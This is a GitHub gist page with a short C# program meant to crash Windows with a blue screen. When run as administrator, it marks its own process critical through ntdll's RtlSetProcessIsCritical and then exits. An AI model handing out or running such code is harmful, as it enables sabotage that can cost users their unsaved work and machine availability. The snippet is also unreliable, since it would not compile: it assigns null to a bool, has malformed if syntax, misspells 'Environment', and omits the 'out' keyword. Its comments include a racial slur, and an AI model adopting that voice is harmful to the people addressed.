Last active
September 2, 2018 06:38
-
-
Save Souhardya/89bf8c6c1e81f79ea81d37dc117a6da4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// BSOD Via RtelSetProcessIsCritical by Souhardya Sardar @subversionzero | |
// https://www.opensc.io/showthread.php?t=12868&page=2 | |
using System; | |
using System.Runtime.InteropServices; | |
namespace Die | |
{ | |
class Program | |
{ | |
public bool IsAdmin() // detect admin rights :3 | |
{ | |
return (new WindowsPrincipal(WindowsIdentity.GetCurrent())) | |
.IsInRole(WindowsBuiltInRole.Administrator); | |
} | |
[DllImport("ntdll.dll", CharSet = CharSet.Unicode)] | |
public static extern int RtlSetProcessIsCritical(bool bNew, out bool pbOld, bool bNeedScb); | |
static void Main(string[] args) | |
{ | |
bool pb0ld = null; | |
object lol = pb0ld; | |
if IsAdmin() | |
{ | |
RtlSetProcessIsCritical(true, pb0ld, false); // Set process as critical | |
Enviornment.Exit(0); // and p00f xD | |
} | |
else | |
{ | |
Console.Write("Run as admin niBBa"); | |
} | |
} | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment